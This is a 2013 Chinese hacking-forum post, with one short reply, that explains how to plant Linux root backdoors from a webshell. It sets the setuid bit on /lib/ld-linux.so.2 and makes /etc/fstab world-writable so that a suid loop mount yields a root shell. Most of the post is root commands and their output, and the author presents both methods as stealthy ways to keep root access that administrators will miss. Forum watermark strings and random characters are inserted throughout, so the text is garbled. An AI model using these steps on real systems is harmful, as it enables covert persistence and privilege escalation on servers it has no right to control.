找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2745|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究' |6 m  h4 H8 F& n8 x& p$ v5 P
9 e7 }9 q& a" K0 h  V
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
, K; q$ w4 V3 g# a2 N, nlrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究% y5 ^; P3 l( \& e4 Z
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究% B2 ?2 w1 K0 T, o/ z9 W% W- w& x( ~
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究3 }; S" w- C3 }
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
* V. X  F7 j7 `+ h; t$ c-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究) \: ?' M8 A& H2 Z- ?& V+ g
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
0 C$ n! \; @5 b: }[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究: ?3 ^1 g7 b" x  G! t' Y+ d
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究4 v' x" [. s* ^! T+ Y
" E& |) a( t+ p: y* r3 A
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究0 n8 L3 B4 r3 E4 p+ ?( _- L# l
# M( ]* w# J8 l  a
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究4 j8 i0 R/ F( R
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
& j" e5 |' g, O9 O" t$ \[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究! Z0 w+ f& A& |( ^
root2ezX-BUG-关注前沿信息安全技术研究/ }2 G7 q' [/ g4 Z4 G$ _1 |9 V
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究( r( T( f: f- F$ o+ t  n2 Q2 k2 Z
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究, b0 ?2 J) a1 `, _
% q2 I  n- V0 I2 i: b
方法二:2ezX-BUG-关注前沿信息安全技术研究1 p) {2 E7 a8 P& N8 S9 D$ k3 ^

5 `2 ?0 M* j% r% \* D6 f( {" ^看过程:2ezX-BUG-关注前沿信息安全技术研究4 ]% k' {' W( I7 R
. l7 _4 X& |  X
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
5 G: [/ d) e! s$ s[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究* j" {: V1 T7 t# @
# D! h; ^0 C" _$ V
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究# O+ ]9 o$ ?4 O* X* Z- _1 {& R0 {" o

; R9 \$ x2 ~( O! D" A6 c( |* q# A  p[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
  {4 l" d  S- I' t# y-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究, h( J6 n) |" i+ i0 m
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
9 `. N1 f1 D5 R) n& g1 f$ X: T$ z! k) z7 O
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究0 Z0 S# g' Z6 T$ N

3 S: r( v8 f: z9 K. ^9 q% |3 [[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
  J  l2 Q6 l6 p( ^" W1 e-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究* l& t& Q5 v: `1 r
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
/ ^  i6 g8 o$ v7 ][xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
( P9 r, J% O0 y. f( {[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究- W+ b. l6 o" v  R' p% k9 L' u/ l
total 182ezX-BUG-关注前沿信息安全技术研究) S- ~- H# g! b% {1 Z
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
2 o9 T7 \# V1 K. Z- K- a! ~5 J-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究5 [7 Y/ l# H7 G8 h
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究+ @# o) C2 `, n" |7 F5 s1 Q0 p5 d, Q% F' p
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
: s8 G1 y2 t7 c* e, R% H! L" s1 f看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
4 ^1 I/ [+ G* S3 @  T2 x1 v" htest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究  R+ A  I4 b( k$ J: r6 K! K

0 G0 L* Q$ [2 c9 L1 l貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究5 h6 t5 R6 {. z  ~8 e5 y
2ezX-BUG-关注前沿信息安全技术研究
. [- t  K) K0 W: H7 R& u
* P; m+ }0 ]! M$ g9 \
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表